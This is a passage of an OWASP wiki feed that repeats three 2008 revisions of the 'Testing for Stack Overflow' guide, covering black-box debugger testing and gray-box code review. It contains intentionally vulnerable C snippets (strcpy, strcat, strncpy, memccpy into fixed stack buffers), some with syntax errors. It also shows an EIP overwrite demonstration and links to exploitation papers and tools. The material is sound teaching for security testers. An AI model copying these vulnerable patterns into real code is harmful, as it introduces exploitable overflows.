* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/&lt;br /&gt;
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Stack_Overflow&amp;diff=38722</id>
		<title>Testing for Stack Overflow</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Stack_Overflow&amp;diff=38722"/>
				<updated>2008-09-07T07:26:09Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
This section discusses about a particular overflow test that focuses on how to manipulate the program stack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Stack overflow|Stack overflows]] occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking.   &lt;br /&gt;
Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. An extract from the buffer overflow section of OWASP Development Guide 2.0 states that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
“Almost every platform, with the following notable exceptions:&lt;br /&gt;
J2EE – as long as native methods or system calls are not invoked&lt;br /&gt;
.NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)&lt;br /&gt;
PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called “ &lt;br /&gt;
can suffer from stack overflow issues.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides  overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected. &lt;br /&gt;
However, subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore, the steps required to locate and validate stack overflows would involve attaching a debugger to the target application or process, generate malformed input for the application, subject application to malformed input, and inspect responses in debugger. The debugger allows the tester to view the execution flow and the state of the registers when the vulnerability gets triggered.&lt;br /&gt;
&lt;br /&gt;
On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case various sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.&lt;br /&gt;
&lt;br /&gt;
As a simple example, consider the following technique employed while testing an executable “sample.exe” for stack overflows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
  char buff[20];&lt;br /&gt;
  printf(&amp;quot;copying into buffer&amp;quot;);   &lt;br /&gt;
  strcpy(buff,argv[1]);&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File sample.exe is launched in a debugger, in our case OllyDbg.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability.gif]]&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Since the application is expecting command line arguments, a large sequence of characters such as ‘A’, can be supplied in the argument field shown above.&lt;br /&gt;
&lt;br /&gt;
On opening the executable with the supplied arguments and continuing execution the following results are obtained.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability 2.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As shown in the registers window of the debugger, the EIP or extended Instruction pointer, which points to the next instruction to be executed, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.&lt;br /&gt;
&lt;br /&gt;
This clearly demonstrates how input data can be used to overwrite the instruction pointer with user supplied values and control program execution. A stack overflow can also allow overwriting of stack based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.&lt;br /&gt;
&lt;br /&gt;
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.&lt;br /&gt;
&lt;br /&gt;
For example consider the following function:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void log_create(int severity, char *inpt) {&lt;br /&gt;
&lt;br /&gt;
char b[1024];&lt;br /&gt;
&lt;br /&gt;
if (severity == 1)&lt;br /&gt;
{&lt;br /&gt;
strcat(b,”Error occured on”);&lt;br /&gt;
strcat(b,&amp;quot;:&amp;quot;);&lt;br /&gt;
strcat(b,inpt); &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FILE *fd = fopen (&amp;quot;logfile.log&amp;quot;, &amp;quot;a&amp;quot;);&lt;br /&gt;
fprintf(fd, &amp;quot;%s&amp;quot;, b);&lt;br /&gt;
fclose(fd);&lt;br /&gt;
&lt;br /&gt;
. . . . . .&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From above, the line strcat(b,inpt) will result in a stack overflow in case inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code. &lt;br /&gt;
&lt;br /&gt;
Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. In case the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers.  For example:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Void func(char *source)&lt;br /&gt;
{&lt;br /&gt;
Char dest[40];&lt;br /&gt;
…&lt;br /&gt;
size=strlen(source)+1&lt;br /&gt;
….&lt;br /&gt;
strncpy(dest,source,size) &lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www.securityfocus.com/archive/1/317615). &lt;br /&gt;
&lt;br /&gt;
Vulnerabilities can also appear in URL and address parsing code. In such cases a function like memccpy() is usually employed which copies data into a destination buffer from source till a specified character is not encountered. Consider the function: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void func(char *path)&lt;br /&gt;
{&lt;br /&gt;
char servaddr[40];&lt;br /&gt;
…&lt;br /&gt;
memccpy(servaddr,path,'\');&lt;br /&gt;
….&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer till a ‘\’ was encountered. The length of the server name in this case was controllable by users.&lt;br /&gt;
&lt;br /&gt;
Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf&lt;br /&gt;
* Aleph One: &amp;quot;Smashing the Stack for Fun and Profit&amp;quot; - http://www.phrack.org/issues.html?issue=49&amp;amp;id=14#article&lt;br /&gt;
* Tal Zeltzer: &amp;quot;Basic stack overflow exploitation on Win32&amp;quot; - http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32&lt;br /&gt;
* Tal Zeltzer&amp;quot;Exploiting Default SEH to increase Exploit Stability&amp;quot; - &lt;br /&gt;
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability&lt;br /&gt;
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615&lt;br /&gt;
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OllyDbg: &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot; - http://www.ollydbg.de&lt;br /&gt;
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/&lt;br /&gt;
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Stack_Overflow&amp;diff=38721</id>
		<title>Testing for Stack Overflow</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Stack_Overflow&amp;diff=38721"/>
				<updated>2008-09-07T07:19:00Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
This section discusses about a particular overflow test that focuses on how to manipulate the program stack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Stack overflow|Stack overflows]] occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking.   &lt;br /&gt;
Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. An extract from the buffer overflow section of OWASP Development Guide 2.0 states that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
“Almost every platform, with the following notable exceptions:&lt;br /&gt;
J2EE – as long as native methods or system calls are not invoked&lt;br /&gt;
.NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)&lt;br /&gt;
PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called “ &lt;br /&gt;
can suffer from stack overflow issues.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides  overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected. &lt;br /&gt;
However, subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore, the steps required to locate and validate stack overflows would involve attaching a debugger to the target application or process, generate malformed input for the application, subject application to malformed input, and inspect responses in debugger. The debugger allows the tester to view the execution flow and the state of the registers when the vulnerability gets triggered.&lt;br /&gt;
&lt;br /&gt;
On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case various sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.&lt;br /&gt;
&lt;br /&gt;
As a simple example, consider the following technique employed while testing an executable “sample.exe” for stack overflows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
  char buff[20];&lt;br /&gt;
  printf(&amp;quot;copying into buffer&amp;quot;);   &lt;br /&gt;
  strcpy(buff,argv[1]);&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File sample.exe is launched in a debugger, in our case OllyDbg.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability.gif]]&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Since the application is expecting command line arguments, a large sequence of characters such as ‘A’, can be supplied in the argument field shown above.&lt;br /&gt;
&lt;br /&gt;
On opening the executable with the supplied arguments and continuing execution the following results are obtained.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability 2.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As shown in the registers window of the debugger, the EIP or extended Instruction pointer, which points to the next instruction to be executed, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.&lt;br /&gt;
&lt;br /&gt;
This clearly demonstrates how input data can be used to overwrite the instruction pointer with user supplied values and control program execution. A stack overflow can also allow overwriting of stack based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.&lt;br /&gt;
&lt;br /&gt;
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.&lt;br /&gt;
&lt;br /&gt;
For example consider the following function:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void log_create(int severity, char *inpt) {&lt;br /&gt;
&lt;br /&gt;
char b[1024];&lt;br /&gt;
&lt;br /&gt;
if (severity == 1)&lt;br /&gt;
{&lt;br /&gt;
strcat(b,”Error occured on”);&lt;br /&gt;
strcat(b,&amp;quot;:&amp;quot;);&lt;br /&gt;
strcat(b,inpt); &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FILE *fd = fopen (&amp;quot;logfile.log&amp;quot;, &amp;quot;a&amp;quot;);&lt;br /&gt;
fprintf(fd, &amp;quot;%s&amp;quot;, b);&lt;br /&gt;
fclose(fd);&lt;br /&gt;
&lt;br /&gt;
. . . . . .&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From above, the line strcat(b,inpt) will result in a stack overflow in case inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code. &lt;br /&gt;
&lt;br /&gt;
Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. In case the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers.  For example:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Void func(char *source)&lt;br /&gt;
{&lt;br /&gt;
Char dest[40];&lt;br /&gt;
…&lt;br /&gt;
size=strlen(source)+1&lt;br /&gt;
….&lt;br /&gt;
strncpy(dest,source,size) &lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www.securityfocus.com/archive/1/317615). &lt;br /&gt;
&lt;br /&gt;
Vulnerabilities can also appear in URL and address parsing code. In such cases a function like memccpy() is usually employed which copies data into a destination buffer from source till a specified character is not encountered. Consider the function: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Void func(char *path)&lt;br /&gt;
{&lt;br /&gt;
char servaddr[40];&lt;br /&gt;
…&lt;br /&gt;
memccpy(servaddr,path,'\');&lt;br /&gt;
….&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer till a ‘\’ was encountered. The length of the server name in this case was controllable by users.&lt;br /&gt;
&lt;br /&gt;
Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages. &lt;br /&gt;
 &lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf&lt;br /&gt;
* Aleph One: &amp;quot;Smashing the Stack for Fun and Profit&amp;quot; - http://www.phrack.org/issues.html?issue=49&amp;amp;id=14#article&lt;br /&gt;
* Tal Zeltzer: &amp;quot;Basic stack overflow exploitation on Win32&amp;quot; - http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32&lt;br /&gt;
* Tal Zeltzer&amp;quot;Exploiting Default SEH to increase Exploit Stability&amp;quot; - &lt;br /&gt;
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability&lt;br /&gt;
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615&lt;br /&gt;
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OllyDbg: &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot; - http://www.ollydbg.de&lt;br /&gt;
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/&lt;br /&gt;
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Stack_Overflow&amp;diff=38720</id>
		<title>Testing for Stack Overflow</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Stack_Overflow&amp;diff=38720"/>
				<updated>2008-09-07T07:08:52Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
This section discusses about a particular overflow test that focuses on how to manipulate the program stack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Stack overflow|Stack overflows]] occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking.   &lt;br /&gt;
Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. An extract from the buffer overflow section of OWASP Development Guide 2.0 states that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
“Almost every platform, with the following notable exceptions:&lt;br /&gt;
J2EE – as long as native methods or system calls are not invoked&lt;br /&gt;
.NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)&lt;br /&gt;
PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called “ &lt;br /&gt;
can suffer from stack overflow issues.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides  overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected. &lt;br /&gt;
However, subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore, the steps required to locate and validate stack overflows would involve attaching a debugger to the target application or process, generate malformed input for the application, subject application to malformed input, and inspect responses in debugger. The debugger allows the tester to view the execution flow and the state of the registers when the vulnerability gets triggered.&lt;br /&gt;
&lt;br /&gt;
On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case various, sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.&lt;br /&gt;
&lt;br /&gt;
As a simple example, consider the following technique employed while testing an executable “sample.exe” for stack overflows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
  char buff[20];&lt;br /&gt;
  printf(&amp;quot;copying into buffer&amp;quot;);   &lt;br /&gt;
  strcpy(buff,argv[1]);&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File sample.exe is launched in a debugger, in our case OllyDbg.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability.gif]]&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Since the application is expecting command line arguments, a large sequence of characters such as ‘A’, can be supplied in the argument field shown above.&lt;br /&gt;
&lt;br /&gt;
On opening the executable with the supplied arguments and continuing execution the following results are obtained.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability 2.gif]]&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
As shown in the registers window of the debugger, the EIP or extended Instruction pointer, which points to the next instruction to be executed, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.&lt;br /&gt;
&lt;br /&gt;
This clearly demonstrates how input data can be used to overwrite the instruction pointer with user supplied values and control program execution. A stack overflow can also allow overwriting of stack based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.&lt;br /&gt;
&lt;br /&gt;
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.&lt;br /&gt;
&lt;br /&gt;
For example consider the following function:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void log_create(int severity, char *inpt) {&lt;br /&gt;
&lt;br /&gt;
char b[1024];&lt;br /&gt;
&lt;br /&gt;
if (severity == 1)&lt;br /&gt;
{&lt;br /&gt;
strcat(b,”Error occured on”);&lt;br /&gt;
strcat(b,&amp;quot;:&amp;quot;);&lt;br /&gt;
strcat(b,inpt); &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FILE *fd = fopen (&amp;quot;logfile.log&amp;quot;, &amp;quot;a&amp;quot;);&lt;br /&gt;
fprintf(fd, &amp;quot;%s&amp;quot;, b);&lt;br /&gt;
fclose(fd);&lt;br /&gt;
&lt;br /&gt;
. . . . . .&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From above, the line strcat(b,inpt) will result in a stack overflow in case inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code. &lt;br /&gt;
&lt;br /&gt;
Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. In case the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers.  For example:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Void func(char *source)&lt;br /&gt;
{&lt;br /&gt;
Char dest[40];&lt;br /&gt;
…&lt;br /&gt;
size=strlen(source)+1&lt;br /&gt;
….&lt;br /&gt;
strncpy(dest,source,size) &lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www.securityfocus.com/archive/1/317615). &lt;br /&gt;
&lt;br /&gt;
Vulnerabilities can also appear in URL and address parsing code. In such cases a function like memccpy() is usually employed which copies data into a destination buffer from source till a specified character is not encountered. Consider the function: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Void func(char *path)&lt;br /&gt;
{&lt;br /&gt;
char servaddr[40];&lt;br /&gt;
…&lt;br /&gt;
memccpy(servaddr,path,'\');&lt;br /&gt;
….&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer till a ‘\’ was encountered. The length of the server name in this case was controllable by users.&lt;br /&gt;
&lt;br /&gt;
Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages. &lt;br /&gt;
 &lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf&lt;br /&gt;
* Aleph One: &amp;quot;Smashing the Stack for Fun and Profit&amp;quot; - http://www.phrack.org/issues.html?issue=49&amp;amp;id=14#article&lt;br /&gt;
* Tal Zeltzer: &amp;quot;Basic stack overflow exploitation on Win32&amp;quot; - http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32&lt;br /&gt;
* Tal Zeltzer&amp;quot;Exploiting Default SEH to increase Exploit Stability&amp;quot; - &lt;br /&gt;
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability&lt;br /&gt;
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615&lt;br /&gt;
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OllyDbg: &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot; - http://www.ollydbg.de&lt;br /&gt;
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/&lt;br /&gt;
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
